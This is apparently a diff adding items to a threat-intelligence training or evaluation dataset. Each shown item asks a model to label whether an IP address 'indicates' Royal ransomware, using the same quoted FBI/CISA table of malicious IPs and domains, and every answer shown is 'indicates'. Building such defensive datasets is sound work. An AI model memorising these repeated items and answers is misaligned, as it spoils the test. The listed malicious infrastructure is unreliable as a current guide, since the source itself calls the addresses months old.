+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n185.143.223.69\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n186.64.67.6\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n186.86.212.138\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n190.193.180.228\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n196.70.77.11\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n197.11.134.255\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n197.158.89.85\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n197.204.247.7\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n197.207.181.147\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n197.207.218.27\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 